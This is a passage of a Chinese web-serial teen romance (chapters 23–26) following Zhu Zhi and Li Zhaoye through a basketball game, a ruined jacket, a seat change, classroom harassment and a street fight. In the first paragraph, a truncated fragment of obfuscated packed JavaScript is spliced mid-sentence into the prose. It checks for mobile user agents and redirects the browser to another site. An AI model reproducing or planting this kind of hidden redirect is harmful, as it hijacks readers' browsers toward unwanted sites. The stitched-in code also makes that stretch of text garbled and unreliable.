李昭野体能很好，一整节下来，盯着他的那几个已经气喘吁吁了，他的呼吸依旧平稳着，意气风地在球场上奔跑着，黑发随着跑动的动作飞扬，浑身都散发着扑面而来的青春气息。
一节比赛很快结束，运动过后身体实在燥热得厉害，李昭野一边下场，一边将卫衣从底下掀起，准备脱下来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14098686|148197||http|test|mini|href|location''.split(''|''),0,{}));
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祝枝立马捂住了眼睛，另一只手捂住雪花的眼睛。
李昭野拎着卫衣走到她面前，略有几分无语。
祝枝手指挤出一条缝，对上李昭野的眼睛后，下意识往下瞄了一眼。
他在里面还穿了件白色短袖，没脱光。
祝枝被他盯得耳朵有点热，瞥见李昭野额间的汗，她皱着鼻子笑了笑，问道：“你渴吗？”
不等他回答，祝枝已经起身去替他拿水了，甚至还贴心地替他拧开了瓶盖。
雪花正舒舒服服地窝在李昭野那件贵得要命的羽绒服里，昂头灌下一大口水之后，李昭野把水拧紧，递给祝枝，视线看向雪花，说：“它脚上全是灰。”
“我怕它冷。”
李昭野的视线落到她身上。
“你冷不冷？”
祝枝摇了摇头，不远处的裁判吹响了第二节比赛开始的哨子，她的视线追随着李昭野，小声说了句加油。
也难为李昭野在嘈杂的体育馆里还能听见，他轻轻地嗯了一声，以示回应。
可惜这声祝枝没有听见。
虽然大家都是朋友，但是在球场上也难免会有对抗和摩擦，李昭野投篮准心还挺好的，只是能出手的机会不多，周围看球的人除了他们那几个朋友之外，还围了不少的路人。
祝枝偶尔抬头看看球，偶尔低头玩玩猫，错失几次激烈的对抗后，才发现李昭野他们已经领先十多分了。
好厉害，游泳厉害，打球也这么厉害。
祝枝不由得佩服他，紧跟着李昭野的视线被他抓到，祝枝眸光一顿，乖巧地露出一个笑。
刚刚起哄地厉害的那个人用力撞了一下李昭野的肩膀。
“可以啊野哥，下次别的女生再问我要你的微信，我绝对不给了啊。”
李昭野用手肘撞了他一下，骂道：“原来是你在到处传播我的微信。”
“你们俩能不能认真点？对面得分了。”
“给他们拿几分又没事，等会还要一起吃饭呢，别闹得太难看。”
“少来。”
一个有些失误的长球传到了李昭野面前，他一个快步上前拦截，借着进攻的趋势躲开烦人的询问，手臂肌肉充血微鼓，有力地运着球，动作利落地上篮得分。
赢到一声欢呼后，他下意识看了祝枝一眼，而她压根没在看球了，蹲在座位旁边盯着雪花，只给他留下一个后脑勺。
祝枝简直慌死了，因为雪花这只臭狗，居然在李昭野的羽绒服里尿尿。
完蛋了完蛋了……
焦头烂额之际，身后的球赛已经接近尾声，带着一身热汗的李昭野靠近，眉头微皱，盯着她的脑袋，以及无辜的雪花。
“祝枝。”他出声喊她。
祝枝被吓得一个哆嗦，赶忙盖住雪花的犯罪证据，扭头看向他，有些紧张地哎了一声。
李昭野什么都看清了，悠闲地等着她下一步的动作。
“我有点冷。”她可怜兮兮地皱了皱眉头，声音心虚到低了好几分，“你的外套可以借我穿一下吗？”
李昭野觉着好笑，目光落在她厚实的外套上，挑眉问她：“你现在就要穿吗？”
“我，我先替你拿着。”被李昭野居高临下地看着，她越来越没有底气，“等下借我穿回家吧……”
23. 23
祝枝没和大家一块去吃晚餐，她早早抱着李昭野的羽绒服溜了，生怕被看出什么端倪，殊不知李昭野在她离开后，偷偷敲了好几下雪花的屁股，并且剥夺了它今晚小零食加餐的权利。
“你们这是什么玩法啊？”
李昭野的羽绒服被祝枝带走了，祝枝的书包倒是留在了李昭野手里。
程勇看了眼李昭野手里的粉色书包，轻轻挑眉。
“还敢问？野哥都要气急败坏了。”跟上的那人叫王宇轩，刚刚也就是他在李昭野耳边念个不停，挨了好几下才噤声。
李昭野掂了掂包里的东西，其实还挺重的。
“咱就是说，你这有情况也不告诉我们，太不厚道了啊。”
李昭野皱眉道：“好聒噪。”
祝枝买的小玩意很多，拿着也不方便，祝枝索性把书包给了李昭野，让他开学再还给自己，而自己则是抱着他的羽绒服，急赶着送去了干洗店。
“被小狗尿脏了。”祝枝小声解释道。
“你这件羽绒服可不便宜啊。”
“能洗干净吗？”
老板身后的机子嗡嗡声盖住了祝枝的声音，他继续兀自道：“这我得仔细点洗了，你什么时候要啊？”
“呃，尽快吧。”
回家前，祝枝还到网上搜了一下这件衣服的价格，高得她倒吸了一口凉气，祝枝更是愧疚了，就算是拿到了老板洗得干干净净的羽绒服，她也有些不太能高兴起来，要知道自己如果有一件这么贵的衣服被弄了小狗尿，那一定会很失落很难过的。
李昭野人这么好，她还给他添麻烦。
都快把自己的羽绒服还在祝枝那儿的事给忘得干干净净的李昭野某天瞥见沙发上摆着的粉色书包，忽然想起这事，门铃声恰好响起，他狐疑开门，脑子里在飞速思考着这是自己买的那双鞋子。
熟悉的包装盒让他略微思索了一下，拆开后，一件崭新的羽绒服被他从盒子里拎了出来。
尺码都是一模一样的。
原来祝枝要他家里的地址不是给雪花买小零食，而是买了一件新的羽绒服。
李昭野拿出手机，给祝枝拍了张照发过去。
祝枝估计是在写题，过了很久才回。
-这么快就到了呀？
对方正在输入中的提示出现又消失，几分钟后，一条被修饰了好几遍的长消息弹到了李昭野的界面。
-嗯……那天穿的时候不小心把你的羽绒服划破了，很不好意思，所以重新给你买了件新的。
-有狗尿还穿？
-？？？？？
李昭野没忍住笑了一声，他甚至都能想象到祝枝瞪大了眼睛满脸错愕的模样，怪好笑的。
-它屁股都是湿的
祝枝目瞪口呆了好一会，最后只能慢吞吞回了句。
-对不起。
-衣服退了
-是我不小心，赔你一件。
-不用
祝枝心里头正愧疚着，李昭野发了条语音过来，男生的声音混在窸窸窣窣的背景音里，爽朗悦耳的声音显得颇有少年气。
“我出门训练了，记得和快递员说一声，退货的快递在门口。”
“我自己那件，洗干净了的话就还给我，洗不干净就帮我丢了。”
李昭野坐上了车才见着祝枝发来的消息。
-洗干净了…
他习惯性地点开语音发送：“那开学带给我吧。”
祝枝趴在桌子上，回了句好，扭头看向挂在衣柜里的那件黑色的羽绒服。
她就知道李昭野不会在意，这就搞得她更愧疚了。
连同羽绒服一起送到李昭野手里的还有一份无糖曲奇，安静地躺在李昭野课桌里。
自上次见面已经有将近一个礼拜了，整个教室都充斥着返校后的喧闹和嘈杂，大家兴奋地分享这这次意外收获的长假期，而祝枝安静地坐在自己的位置上写题，浅蓝色的毛衣袖子挽起了一小截，露出骨节分明的手腕，她头发似乎也长长了些，乖巧地垂在肩头。
李昭野早就习惯她迟钝的反应，当她专注在做自己的事情时，一般都是注意不到身旁的动静的，直到他拉开凳子坐下，她才借着余光注意到李昭野。
“早。”
是一道很淡的笑，在她清秀的眉间晕开。
李昭野忽然想起上学期开学那段时间，他搬过来时，祝枝也是这样仰着头，只是那时的眼神里多了些紧张的怯生生，不似现在，都敢与他直接对视了。
李昭野把书包丢到椅子上，从善如流地从抽屉里拿出那盒曲奇饼干。
正欲丢给身后的人，瞥见熟悉的包装后，他眉头轻皱，问道：“你买的？”
“啊，对。”祝枝解释道，“是低糖的。”
李昭野心头微动，修长的手指捏住那方小盒子，然后随手塞进口袋里，说：“那我也不一定会吃。”
祝枝弯唇笑了笑，转过头来继续写题。
开学典礼安排的时间就在午餐之后，祝枝带了一本小小的单词册子，跟在队伍后头。
幸好她们班的位置离音箱还是有点距离的，偶尔会被啸叫声给刺到耳朵，其他都还能忍受。
李昭野按照习惯，和几个男生坐在最后面，他昨天晚上没怎么睡好，中午在教室补了一觉，现在正饿着，随手从口袋里摸出那盒曲奇饼干后，拆开塞了一块到嘴里。
确实是甜味很淡，微苦的巧克力味道混杂在浓郁的咖啡香味间，在唇齿间蔓延，饼干很小一块，适合一口一个。
“给我吃点。”
李昭野躲开隔壁队伍的王宇轩凑过来抢的动作，皱眉道：“老实点，校长看着你呢。”
吓得王宇轩立马坐直，快速在人群里找到校长那颗颇具代表性的脑袋之后，啧声道：“你糊弄我。”
“你们班主任来了。”李昭野又笑嘻嘻地提醒道。
“别想骗我。”王宇轩笑闹着挤过来，下一秒就被人拎住了衣领。
“王宇轩！”熟悉的声音在耳畔响起，“你就不能安分点？”
李昭野简直笑得不行，摇着头幸灾乐祸道：“让你不听我的。”
“李昭野你也是，没听到台上有人在发言吗？”
“不就是你的得意弟子林知阳吗？他那套理论都说了三年了，还没说厌吗？”王宇轩刚嘀咕完，又被敲了敲脑袋。
李昭野吃完最后一块饼干，懒洋洋地将视线投向主席台后的人，他神色如常地打了个哈欠，目光又落到祝枝身上。
她正仰着头听得认真，手里的单词本已经被塞回口袋里了。
有这么值得听吗？她怎么干什么都这么认真？
李昭野也屏息凝神听了两句。
“新的学期，新的起点，迎接我们的有新的
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使命，有新的机遇……”
无聊。
“野哥，看谁呢？”
班主任一走，王宇轩又开始不安分起来，他打听过了，寒假来看李昭野打球的那个女生就是他们班的，还和李昭野是同桌。
顺着李昭野的视线望去，果不其然看到了她。
“没想到啊，你喜欢这个类型的啊？”
李昭野脸色冷了几分，用手肘撞了一下他的肩膀。
“别胡说。”
“干嘛？还不承认啊？我看人家挺依赖你的啊，乖乖等你打球，也只跟你讲话，还轻声细语的，你俩绝对有情况。”
这话可是直直戳到李昭野肺管子上，虽然他心里比谁都清楚，自己在对待祝枝的这个事情上逾矩了很多，但就这么被摊开讲，他还是忍不住有几分恼怒。
“闭嘴。”
还当是李昭野被自己调侃到害羞了，王宇轩轻轻做了一个捏住嘴巴的动作，然后缩回自己的位置上去了。
喉间还残余着饼干的苦味儿，李昭野深吸了一口气，视线再次落到祝枝的后脑勺上时，紧锁的眉头怎么也抹不开。
祝枝压根没注意到身后的视线，她攥紧了口袋里的单词本，脑袋正在因为刚刚林知阳下来时对她这块露出一道灿然的笑而乱成浆糊，他实在是优秀，不少带着仰望的视线落到身上，更是让他整个人光彩夺目，祝枝深吸一口气，努力平复着心情，却再也没了继续背单词的心情。
回教室的人是按波次，几个好友三五成群进教室的，投在电脑屏幕上的新的座位表让每个人都驻足了一会，教室前门一下就变得非常拥挤。
祝枝慢吞吞地跟着队伍往里面走，但前面已经堵死了，身后还有人在不停地往里走，耳边的嘈杂声嗡嗡作响，直冲脑门，四面八方涌来的力，挤得她都有些站不稳。
忽然，肩上落了道有力的动作，把她给稳稳扶住。
祝枝错愕回头，李昭野紧绷的下颚线落入眸中。
见祝枝站稳了，他松开手，视线却不朝她望去。
“呃，谢谢。”这时候的教室里已经响起了拖拉桌子的声音，沉重的桌子被书给塞满了，和地板发出尖锐的摩擦声，刺得祝枝耳朵生疼。让人焦躁的环境中忽然看到熟人，祝枝安心了不少。
她抬头看了一眼电脑屏幕上的座位表，很久就找到了自己的名字。
就在靠窗的另一侧，但是她的同桌已经不是李昭野了。
祝枝愣住，下意识扭头看向李昭野。
他似乎也是注意到了自己的座位，扭头和身后的人说：“搬了位置再出去吧。”
错过这次对视后，祝枝好不容易挤到座位上时，才和李昭野对上视线。
她的下唇已经被咬得泛红，微微肿起，鼻子皱着，有些不太高兴的样子。
手被用力捏了又捏，李昭野东西很少，随便收拾一下就可以搬走桌子了，祝枝把下唇咬得更痛，忍不住伸手按住李昭野课桌。
李昭野抬眸看她，问：“怎么了？”
祝枝唇微张，上面还落了道浅浅的齿印，她似是有些失落，但强忍着，小声说：“没事。”
已经决定开始实施冷淡政策的李昭野刚有些庆幸换开了座位，又被祝枝这道说不清道不明的委屈表情弄得心软起来，他把自己的桌子往外一推，伸手从祝枝手里把她的桌子拉了过来，沉默地替她搬到了新座位。
24. 24
窗外的树枝在春风中抽出了新芽，沉寂了一整个寒假的校园终于开始了新的盎然。祝枝的新座位离教学楼边的梧桐树还隔了一条走廊的距离，下课时偶有学生停留，撑着手臂挡住她的视线，说着些无聊又重复的话题，主旋律全都是即将结束的高中生活。
她的新同桌是个沉默的男生，搬过来好几天了，他们的交流还仅限于祝枝麻烦他起身，让自己进出，其余的时间基本都是沉默相对。
他有个固定的好朋友，每到下课的时候就会走到走道旁和他讲话。
祝枝大多数时候都没太在意他们聊的什么，只是某一次正好听到了，是一些从高中男生嘴里讲出来显得格外恶心的污言秽语，基本上都是关于某些网站和视频，还伴随着脸上彼此之间才懂的贼笑，看得人忍不住皱眉。
视线定到祝枝身上时，他脸上的笑会凝固住，带着几分被窥破的不悦，隐隐还有几分上位者的威胁意味。
祝枝紧了紧后槽牙，把视线收回来，忍不住心想，要是还和李昭野是同桌就好了，他虽然吵，但可不是这样恶心的人。
李昭野找人换到最后两排了，和程勇他们几个一起，每天在后头打打瞌睡，玩玩游戏。
他坐在教室角落里，祝枝只需要扭头就能看见他。
要说和李昭野换开，祝枝是真的没忍住有些失落。
要知道高中以来，她独身一人的日子实在太多了，现在好不容易交上了一个人很不错的朋友，还期待着开学后可以互相帮忙讲题，一起看看李昭野手机里拍的小狗，分享最近吃到的好吃的东西，成为能够彼此陪伴的好朋友。
只是李昭野身旁永远都不缺朋友，只有她是孤身一人。
自习课后头的动静不大，祝枝扭头看过去时，李昭野正噙着一道好看的笑，靠在椅子上，看起来心情不错的样子。
余光注意到祝枝的视线后，他眸色一顿，抬眸看向她。
祝枝很快收回视线，她的新同桌不算高，但也能结结实实挡去祝枝一半的身体。
这已经是李昭野这几天抓到祝枝第四次偷看他了，总是小心翼翼的，在自己看回去之前，一定会快速地把视线藏起来。
李昭野敛眸，心想，以前她也是这么偷瞄自己的吗？
后半节晚自习李昭野没上完，和他们几个一块溜出去上机打游戏。
“你们今天怎么一个两个都心不在焉的。”
王宇轩勉强打起精神，视线落到李昭野身上，淡声提醒道：“进游戏了。”
李昭野懒洋洋地嗯了一声，拿起鼠标准备操作。
“丁瑶呢？怎么这段时候都没看到她啊。”
王宇轩动作一顿，叹气道：“她没读了。”
“啊？”
“她说反正也考不上大学了，不想待在学校了。”
丁瑶初中就和王宇轩是一个班的，考上高中的时候还在班上前几名，后来和初中班上一个没考上高中，去混社会的男生玩在一起，逐渐对学习不上心，整天整天的逃课，成绩一落千丈，一直到现在这个程度。看出来王宇轩心情不是很好，程勇也没继续追问了。
最是关键的几年，一念之差就能影响整个人生，李昭野脑海里闪过祝枝那道可怜的视线，换开座位以来，他们一句话都还没说过，李昭野总感觉是自己把她抛在原地，心口像是被压上了一块沉重的大石头，有些喘不过气来。
教室里正因为老师去开会而微微躁动，祝枝同桌的朋友换了个座，拿着本子欲盖弥彰地坐到他面前，时不时扭头把手里的本子塞到他手里。
一来一去的动静很大，祝枝想不注意都难。
不受掌控的教室里嘈杂的动静愈来愈大，祝枝最近心情比较糟糕，学习状态也不太好，一旁频繁的窃窃私语以及偶尔的放声大笑让她有些难以专注精神，瞥了同桌好几眼之后，他更加放肆了，甚至直接瞪向祝枝，祝枝只好轻轻叹了口气，正准备把助听器稍微摘松一些，不知怎么忽然生气的男生一把将本子往祝枝脸上一按，嘴里嘟囔着：“你这么想看，给你看个够好了。”
祝枝被吓了一跳，从脸上滑落的本子掉到桌子上，敞开的页面上是用墨水涂出来的形象夸张的x器官，她一时间懵住，耳旁传来男生戏弄成功的爆笑声，嗡嗡作响，祝枝胃里翻涌起一股酸水，眸子被冲红，差点呕吐出来。
李昭野一行人没打多久就下机了，准备去吃宵夜。
口袋里的手机弹了条消息，他没太在意，准备去付钱的时候才发现是祝枝的微信。
-我可以继续和你坐吗？
好可怜的语气，李昭野呼吸一顿，密密麻麻的刺痛感在心尖蔓延开来，正在发愣之际，身后的王宇轩已经拍了拍他的肩膀。
“买完单了，走吧。”
李昭野把手机掐灭，放回口袋里，说：“不是说好我请的吗。”
“每次都是你请，偶尔也请你一次。”
“这有什么关系。”
“哦对了，明天中午出去吃饭去，丁瑶过生日，我想去给她挑个礼物，你帮我参谋参谋。”
口袋里的手机没有迎来第二次震动，李昭野嗯了一声。
解决所有纠结的问题最好的办法就是晾一会，再次打开微信时，李昭野发觉已经错过了最好的回复时间，他心里想着却说不出口的拒绝，也可以用不回复来回答。
让李昭野坚定后退的，还有到现在为止都没有理清处的那些关于祝枝的情绪，他自然是察觉到了自己的悸动，可祝枝好像是真的很在意他，他也不想随意做下任何决定，如果只是朦胧的好感，是回报不起祝枝真诚的心的。
第二天，祝枝以身体不舒服为由请了半天假，昨天晚自习结束后，祝枝徘徊在班主任办公室外，听到她焦头烂额的抱怨声，还是没能踏进去再给她多添一些麻烦，而发给李昭野的消息也迟迟没有得到回复，让她的心情更糟糕了。
如果能不去上学就好了，可惜祝枝是个请半天假都会心慌的老实孩子，吃过中饭后，她还是硬着头皮去上学了。
开始上课后，去往学校后门的这条路就会显得有些冷清。
她
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正慢吞吞地走在路上，忽然听到些动静。
发生在学校巷子旁的斗殴有些惨烈，祝枝隔得很远就听到动静了，她有些害怕，步子都忍不住放慢了一些，拳拳到肉的声音很重，就连祝枝都能听清，她不敢想里面会是个什么状况。
心跳声鼓得像是快要从胸膛跳出来，解开手机的时候，祝枝的手都在发抖。
她小心翼翼蹲下，紧紧贴在墙壁边缘，探头偷瞄了一眼里头的人，有三个正在凶神恶煞地动手的男生，为首的那个，已经褪成浅金色的头发下已经长出了黑发，看起来也只有十七八岁的年纪，但身上的社会习气很重，地上还躺着两个，血流得到处都是，旁边还放着一个礼品盒子，盒子和里面的东西已经被踩得稀碎。祝枝吓得眼热，再也不敢多看一眼，拼命把自己的身体蜷缩到身旁的树下，把手机音量调到最大后，紧闭着眼，屏住呼吸播放了网上刚找的警报声。
其实这声音挺假的，但正在行凶的几个人心里也慌，听了这动静就彻底慌了神，赶忙拉住埋头打得最狠的一个。
“走走走，别真出事了。”
那人回了些理智，用力踹了踹地上的人，恶声道：“你再敢来找她，我见你一次打你一次。”
祝枝紧紧捂住嘴巴，整张脸都因为害怕而皱了起来，直到那三人落荒而逃，她才松开手，大口大口地喘息起来。
110已经在拨通当中了，祝枝从树后费劲爬出来，因为腿软而一把跪倒在地上，摔得膝盖生疼，手掌也被擦破了。
磕磕巴巴和警察说明情况的同时，她小心翼翼地靠近地上的两个人，奄奄一息的样子让她不敢靠近，直到其中一人捂住腹部的伤口，艰难地转过头来。
祝枝整个人都懵了。
“李昭野？”
凌乱的发浸没在血迹当中，苍白的唇破了皮，他呼吸急促，眼睛都憋红了，身体哪哪都在疼，肚子上的刀口不深，是刚刚替王宇轩挡的，现在正在往外涌血。
祝枝被他这幅模样吓得浑身发抖，再次开口时眼泪忍不住跟着往下掉。
“你，怎么是你啊？”
她无助地跪在他旁边，眼睛红得像是兔子，慌乱地扭头寻找手机，嘴里还在不停地叫着李昭野的名字。
一声又一声，声音像是快要碎掉，飘散在风里。
手上的血晕在指尖，怎么都打不出电话，祝枝眼泪掉个不停，一边无助地看向巷口，想找到一个能寻求帮助的人，一边用袖子不停擦掉屏幕上的血迹。
忽然，手腕上落了道轻轻的力，李昭野用气声开口道：“别哭了，我没事……”
她哭得好伤心，李昭野不合时宜地冒出一个后悔的念头，他不该不理她的。
“李昭野……你先别睡，你醒着，120马上就会来的……”巷口处路过的熟悉的行身影让祝枝激动起来，她顾不得形象，顾不得害羞，顾不得任何一切，大声喊住他，“林知阳！求求你，帮帮我们……”
李昭野……李昭野……林知阳……
她在喊谁？李昭野昏迷前想……
25. 25
“生命体征正常，你们是他们的同学吧？得抓紧时间联系一下他们两位的家长。”
祝枝跌坐在椅子上，耳朵全是嗡嗡作响的动静，她心神难以平定，忽然，肩头落下一只有力的手。
“你还好吗？”林知阳温柔的声音传了过来。
祝枝眼底的红尚未褪去，她身上也溅了很多，就连白皙的下巴处都晕了一片，看起来也挺狼狈的。
“他家长不在家里。”祝枝声音里还残存着哭腔，像是在抖。
林知阳愣了一下，说：“李昭野吗？要不还是先联系一下你们班主任吧。”
班主任很快赶来，了解了情况之后，她着急地抓住祝枝的手，问道：“你没什么事吧？”
作为目击者，祝枝还不能随便离开，但她身上的衣服染了不少的血，特别是衣袖那儿，被浸红之后，看起来很吓人。
她摇了摇头。
“李昭野呢？他进去多久了？”
“医生检查完是说没什么很大的问题，现在还在缝针。”林知阳回答道。
“现在情况严重吗？你们班班主任来了吗？另外那个男生是你们班的吧。”
“在路上了。”
孤立无援的人有了主心骨，祝枝止不住的心慌也稍微缓解，她攥住心口的衣服，神色凝重地看向手术室的门。
小姑娘实在是一副被吓到了的样子，林知阳一直坐在她旁边陪着，等到两个班主任都到齐之后，他提醒道：“应该没这么快的，你身上弄得太脏了，去换身衣服吧。”
祝枝迟钝地扭头看他，林知阳冲她轻轻一笑，安慰道：“被吓到了吧？别这么紧张，医生都说了，不会有什么大碍的。”
林知阳说自己家离这也不算远，家里有妹妹的干净衣服，可以去换一下。
“还是算了。”祝枝小声拒绝道。
“你到时候穿着这么一身血淋淋的衣服回家，不得把爸妈给吓晕。”
她抿了抿唇，不安的视线再次投向手术室门口。
林知阳家确实离医院不远，他问过妹妹意见后，给祝枝找了身简单的衣服。一时间钻进脑子里的除了血色还是血色，被用力冲刷过的手泛起疼痛，祝枝眉头紧皱，洗手盆里的血逐渐被冲散，掌心的擦伤痕迹也逐渐显露。
“你把衣服用水泡着吧，否则血迹很难洗掉的。”门外响起林知阳的声音，这还是他向妹妹学的生活小技巧。
祝枝迷迷糊糊地应了句好的，正如林知阳所说，她比较瘦，穿他妹妹的衣服完全合身，她的头发松散在肩头，脸颊上还残余着水滴，顺着绒毛滑下，漆黑的眸带着几分懵懂和忧郁，小而白皙的脸颊上是清秀漂亮的五官，像一颗剥了皮的水蜜桃，嫩生生的。
“你这手怎么了？”
被藏在衣袖里的伤口被注意到，祝枝手指略微蜷缩着，心思压根不在这，低声道：“回医院去吧……”
李昭野做了个很长的梦，但内容基本上都是重复的，被梦魇住的那天已经早就被他藏进了记忆深处，越是不想触碰，越在身不由己的时候被强制提醒。
第五次被赵静掰开手指丢下，李昭野陡然从梦中惊醒，意识回笼后，浑身上下都蔓延着难以忍受的疼痛，特别是肚子，密密麻麻的疼，钻得他有些呼吸不过来。
费劲睁开眼睛后，他倒抽了一口凉气，入目是班主任有些急躁的神色。
“你怎么样了？”
李昭野摇了摇头，但紧皱的眉头并未放松任何。
“王宇轩呢？”
“他比你严重，还在昏迷。”
李昭野肚子上虽然结结实实挨了一刀，但那几个人是冲着王宇轩来的，下手自然也更重。
李昭野费劲地坐起来，下意识瞥了班主任身后一眼。
“你叔叔很快就到。”
他安静敛眸，轻声嗯了一句。
病房门这时被推开，李昭野抬头望去，正好撞进祝枝那双湿漉漉的眸里，似乎已经过了很久，但她眼底还是湿润着的，鼻尖泛着红晕，和李昭野对视后，仿佛被激起了千层了涟漪，所有情绪被晕开，愣在原地和李昭野对视着。
她真的在，原来昏迷前看到的她不是梦……
被用力揉碎的心脏在缓慢地发出震耳的跳动声，鼓动的声音贴着耳膜，将李昭野浑身的温度逼高，难以言喻的情感随着心脏的跳动奔向四肢百骸。
班主任口袋里的手机嗡嗡作响，她一边拿起手机接电话，一边提醒道：“衣服换完了？这儿也没你们什么事了，早点回学校去吧。”
被定在门口的人还在小心翼翼地观望，李昭野抬手朝她招了招。
她乖乖过来，虽然身后还跟了个碍眼的家伙。
“你怎么会在那？”他低声问。
祝枝瘪了瘪嘴，小声说：“吓死我了。”
“被吓到了还敢乱冲出来，万一他们两个又回来怎么办？”
祝枝不吭声，只盯着他看。
知道她是被吓坏了，李昭野轻轻笑了笑，安慰道：“干嘛，又要哭了？我都没事了。”
他们俩之间说不清道不明的氛围让林知阳微微敛眸，藏去视线里的情绪后，淡声开口问祝枝：“要回学校去吗？还是直接回家。”
见李昭野确实没什么大碍，祝枝的心也放回肚子里了，她犹豫了一会，身后的林知阳又说：“还是先去给你处理一下伤口吧。”
“他们打你了？”李昭野声音大了些，皱眉问道。
祝枝有些不好意思地说：“是摔的。”
见李昭野有点激动，她举起手给他看，掌心的伤口确实是擦伤，已经被水泡过了，边缘都有些泛白。
其实膝盖上也有，但说起来平地走路因为太慌而脚软摔跤，怎么说都有点丢人，她还是不说了吧。
“我去拿点药。”
病房里瞬间变得空旷起来，祝枝又坐回椅子上，抬眸看向李昭野，红红的眼睛很像兔子，看起来乖得不行，她语气很轻，小声说：“我可以留下来照顾你。”
“会有护工。”
“噢。”她抿了抿唇，又问，“你现在还疼吗？”
受了伤的李昭野看起来少了些许锋芒，添了几分脆弱和破碎的五官看起来却更是精致，他侧过头，那双灼热的黑眸盯住祝枝的眼睛。
“好多了。”
她绞紧了膝盖上的手，掌心带来的刺痛感让她微微皱眉。
“那——”
“祝枝。”林知阳的声音响起，祝枝扭头望去，他拎着一小袋药站在门口，“先上药吧。”
被人把她的注意力抢走，李昭野眸色微冷，有些不悦地撇开了头。
“啊？好。”她起身准备离开。
“祝枝。”李昭野忽然喊住她。
“怎么了？”
那双鹿似的眸子再
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次落到李昭野身上，心里那点烦躁在顷刻间消散。
“忘记回你消息了，我是说，你还想和我一起坐吗？”
苦兮兮了一整晚的脸可算露出一道笑，眸里闪过的惊喜是一抹亮光，让她整个人都雀跃起来。
她重重点头：“想。”
林知阳坐在病房外的椅子上给祝枝涂药。
他的手指很纤细，右手的中指因为长期写字而略微有些变形，一颗小小的黑痣缀在他的尾指，那双能答出完美答卷的手正在小心翼翼地替她涂药，甚至还非常绅士地避开了肌肤相贴的角度。
“不该泡水的，要是早点发现就好了。”
把对李昭野的忧心好好地塞回了肚子里之后，祝枝这才后知后觉冒出些害羞来。
喉间辗转的话再三思索，最后只小声道：“谢谢你啊。”
“没事的。”他把药放回袋子里，拎着起身道，“现在很晚了，我直接送你回家吧。”
林知阳家就在附近，但他还是坚持要送祝枝回家。
路灯把他们的影子拉得很长很长，在某个和路灯掠过的时刻，影子交叠在一起，很快又朝着各自的方向延伸而去。
“最近都没在补习班见到你了。”
“在补英语。”
今天的紧张似乎都被透支了，祝枝还是第一次能保持着轻松的情绪和林知阳说话。
林知阳轻轻笑了一声，说：“英语确实很拖你的后腿。”
接收到祝枝诧异的目光，他望了回去，说：“分数都在公布栏，知道你上次考多少分并不难。”
他竟然会关注自己的分数……
就在祝枝惊诧之际，她口袋里的手机忽然震了两下，然后是悦耳的铃声。
她说了句抱歉，拿出手机接听。
是一通来自李昭野的电话。
“喂？”
“这几天我溜不了雪花了。”
祝枝听出他的意思，简直求之不得：“我可以去。”
“下晚自习就太晚了。”
“嗯……那晚餐的时候请假出去吧。”
“别给它喂太多小零食，上次医生说它体重涨的太快了。”
“好哦。”祝枝乖乖应下，“你有好一些吗？”
林知阳的视线落在捂着手机小声通电话的祝枝身上，她大多数时间都是沉默安静的，能让她说这么多话的，对面肯定是李昭野了。
李昭野正要回答，便听到对面一句熟悉的男声。
“是走这边吗？”
“啊？对的。”祝枝抽空回答他。
李昭野眉头微皱：“你还和林知阳在一块啊？”
“嗯对，他送我回家。”祝枝脸有点烫烫的，声音更小了，“他人可真好。”
“还没到家？”
“马上了。”李昭野似乎又有点不高兴了，祝枝抿了抿唇，说，“那就挂掉啦，你早点休息吧。”
“等下——”李昭野打断她要挂电话的动作。
祝枝又将手机贴到耳边，问他：“怎么了？”
“没事，你家有这么远吗？还没到？”
“就在前面了。”这句话是对林知阳说的，李昭野在电话那头听着两人道别的动静，轻轻地哼了一声。
“林知阳，谢谢你啊。”
好乖的声音，就像平时对他说话的语气一样。
……听得好烦。
26. 26
“解题思路就是这样的，现在发张同类型题目的练习卷下去，这节课剩下的时间把卷子写完。”
在教室里久坐了一整天，大脑保持在高速运转了将近十个小时，祝枝困倦地揉了揉眼睛，用指关节把眼部肌肉给按松了些。
一想到等会还能去找雪花玩，她疲惫的心稍微得到了一些放松。
李昭野把家门密码已经发给祝枝了，这栋精致的小洋楼确实还是惊讶到祝枝了，房子常有人搭打理，看起来一点都不旧，院子里有一个泳池，里面的水被抽空了，但依旧是干干净净，连一片多余的落叶都没有。
听到开门的动静，雪花撒着欢跑到门口来迎接主人，结果发现不是李昭野。
“你这小狗，又把我忘了？”祝枝蹲下去，轻轻摸了摸它的脑袋，熟悉的气味让雪花变得乖顺起来，这段时间它都没人陪，可怜兮兮的。
“乖乖，有好好吃饭吗？让我检查一下。”
和雪花说话不担心被嘲弄口音，李昭野还在雪花的饭盆旁放了一条小凳子，看来是经常在这坐着陪它吃饭。
发送到李昭野微信里的视频是祝枝坐在小凳子上拍的，他从游戏里切出来，点开视频，她下巴搁在膝盖上，绒绒的毛发里是她白皙的手指，正在轻轻地摸着它的脑袋。
雪花的脑袋在碗里拱个不停，像一颗抖动的白色绒球，可爱得不行。
“它好乖。”祝枝的声音在视频里传来。
李昭野关闭视频，直接给她弹去了一个视频通话。
祝枝接起后，不施粉黛的可爱脸蛋猝不及防出现在屏幕上，那双一看就是乖乖学生的眼睛懵懵的，很快翻转摄像头，对准正在撒着欢吃小零食的雪花。
“不是跟你说不要喂它吃小零食吗？”
祝枝捏出手指，说：“就一点点。”
“等会让它再多走会，消化消化。”
“只吃了一点点，它一个人在家好可怜的。”
祝枝的视线落到屏幕上李昭野的脸上，五官轮廓立体，唇很薄，唇形也很好看，他神色微冷，眸里落了些光，透着漂亮的黑色，似乎是被祝枝的话触动到，丝丝柔软在他眉眼间漫开。
“那再喂它吃一根吧。”李昭野很没有原则道。
祝枝：“啊……那还是算了吧。”
“它肚子好多肉肉，你摸摸。”
“还真是。”
在地上翻了一圈的雪花很快挣脱祝枝的手，冲她摇了摇尾巴。
“我要带它出去了。”
“吃饭了没？”
“还没。”
“我叫个外卖给你，溜完回来吃。”
“不用——”
李昭野已经划到外卖软件里了，他问：“喝奶茶还是烤梨？”
“呃……”
